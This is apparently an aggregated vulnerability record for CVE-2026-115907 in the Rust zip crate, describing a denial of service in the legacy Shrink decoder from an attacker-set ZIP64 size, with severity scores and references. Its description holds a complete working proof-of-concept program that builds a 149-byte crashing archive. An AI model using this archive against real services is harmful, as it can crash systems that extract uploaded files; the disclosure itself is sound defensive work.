{"id":"CVE-2026-115907","aliases":["GHSA-9hj8-73fh-9963"],"title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\n    self.stream_read = true;\n    let mut compressed_bytes = Vec::new();\n    self.compressed_reader.read_to_end(&mut compressed_bytes)?;\n    self.stream.reserve(self.uncompressed_size as usize);\n    hwunshrink(\n        &compressed_bytes,\n        self.uncompressed_size as usize,\n        &mut self.stream,\n    )?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n    `-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: &mut Vec<u8>, value: u16) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push32(out: &mut Vec<u8>, value: u32) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push64(out: &mut Vec<u8>, value: u64) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn zip64_extra() -> Vec<u8> {\n    let mut extra = Vec::new();\n    push16(&mut extra, 0x0001);\n    push16(&mut extra, 16);\n    push64(&mut extra, u64::MAX);\n    push64(&mut extra, 1);\n    extra\n}\n\nfn archive() -> Vec<u8> {\n    let name = b\"entry\";\n    let extra = zip64_extra();\n    let mut out = Vec::new();\n\n    push32(&mut out, 0x0403_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n    out.push(0);\n\n    let central_start = out.len() as u32;\n\n    push32(&mut out, 0x0201_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, 0);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n\n    let central_size = out.len() as u32 - central_start;\n\n    push32(&mut out, 0x0605_4b50);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 1);\n    push16(&mut out, 1);\n    push32(&mut out, central_size);\n    push32(&mut out, central_start);\n    push16(&mut out, 0);\n    out\n}\n\nfn main() -> Result<(), Box<dyn std::error::Error>> {\n    let bytes = archive();\n    File::create(\"poc.zip\")?.write_all(&bytes)?;\n\n    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;\n    let entry = archive.by_index(0)?;\n\n    println!(\n        \"method={:?} declared_size={}\",\n        entry.compression(),\n        entry.size()\n    );\n\n    drop(entry);\n\n    let output = tempfile::tempdir()?;\n    archive.extract(output.path())?;\n    Ok(())\n}\n```\n\nRun the reproducer in release mode:\n\n```sh\ncd zip2-legacy-poc\nRUST_BACKTRACE=1 cargo run --release\n```\n\nObserved output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:\n\n```text\nmethod=Shrink declared_size=18446744073709551615\n\nthread 'main' panicked at .../alloc/src/raw_vec/mod.rs:\ncapacity overflow\n```\n\nThe backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction.\n\n### Impact\n\nApplications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.\n\n- `zip::read::ZipArchive::extract`","severity":"high","score":7.5,"published":"2026-10-26T16:32:15.373Z","modified":"2026-10-30T14:13:49.386Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"crates.io","name":"zip","sources":[{"name":"OSV · GHSA-9hj8-73fh-9963","url":"https://osv.dev/vulnerability/GHSA-9hj8-73fh-9963"}],"ranges":[{"events":[{"introduced":"5.1.0"},{"fixed":"9.0.0"}],"type":"SEMVER"}],"versions":[],"fixed":["9.0.0"]}],"sourceAffected":[],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","https://nvd.nist.gov/vuln/detail/CVE-2026-115907","https://github.com/zip-rs/zip2/pull/991","https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","https://github.com/zip-rs/zip2","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sources":[{"name":"OSV","id":"GHSA-9hj8-73fh-9963","modified":"2026-10-29T17:00:04.177534981Z","url":"https://osv.dev/vulnerability/GHSA-9hj8-73fh-9963"},{"name":"CVE","id":"CVE-2026-115907","modified":"2026-10-30T14:13:49.386Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-115907"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},{"source":"GitHub_M","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}],"cve":{"records":[{"id":"CVE-2026-115907","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-10-23T20:21:45.106Z","published":"2026-10-26T16:32:15.373Z","modified":"2026-10-30T14:13:49.386Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-10-26T16:32:15.373Z"},{"name":"CISA-ADP","role":"ADP","organizationId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","modified":"2026-10-30T14:13:49.386Z"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/pull/991","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","tags":["exploit"],"source":"CISA-ADP"}],"weaknesses":[{"id":"CWE-400","description":"CWE-400: Uncontrolled Resource Consumption","source":"GitHub_M"},{"id":"CWE-789","description":"CWE-789: Memory Allocation with Excessive Size Value","source":"GitHub_M"}],"applicability":[],"prioritization":[{"source":"CISA-ADP","type":"SSVC","role":"CISA Coordinator","timestamp":"2026-10-30T14:13:42.538263Z","decisions":[{"name":"Exploitation","value":"poc"},{"name":"Automatable","value":"yes"},{"name":"Technical Impact","value":"partial"}]}]},"products":[{"vendor":"zip-rs","name":"zip2","platforms":[],"versions":[{"version":">= 5.1.0, < 9.0.0","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-115907"}],"remediation":[],"observedAt":"2026-10-30T16:06:19.684Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T09:10:30.844Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-30T09:35:37.903Z","attemptedAt":"2026-10-30T09:35:37.903Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T09:35:36.386Z","attemptedAt":"2026-10-30T09:35:36.386Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-30T09:35:37.494Z","attemptedAt":"2026-10-30T09:35:37.494Z"},{"source":"EPSS","status":"available","checkedAt":"2026-10-30T09:35:36.535Z","attemptedAt":"2026-10-30T09:35:36.535Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-9hj8-73fh-9963","url":"https://github.com/advisories/GHSA-9hj8-73fh-9963","modified":"2026-10-29T16:40:21Z","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-30T09:35:36.386Z"},{"source":"FIRST EPSS","id":"CVE-2026-115907","url":"https://www.first.org/epss/","probability":0.0035,"percentile":0.28634,"date":"2026-10-29","checkedAt":"2026-10-30T09:35:36.535Z"},{"source":"ENISA EUVD","id":"EUVD-2026-109984","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109984","modified":"Oct 26, 2026, 4:32:15 PM","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-30T09:35:37.494Z"},{"source":"NVD","id":"CVE-2026-115907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","modified":"2026-10-26T18:34:17.050","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-30T09:35:37.903Z"}],"aiSummary":null}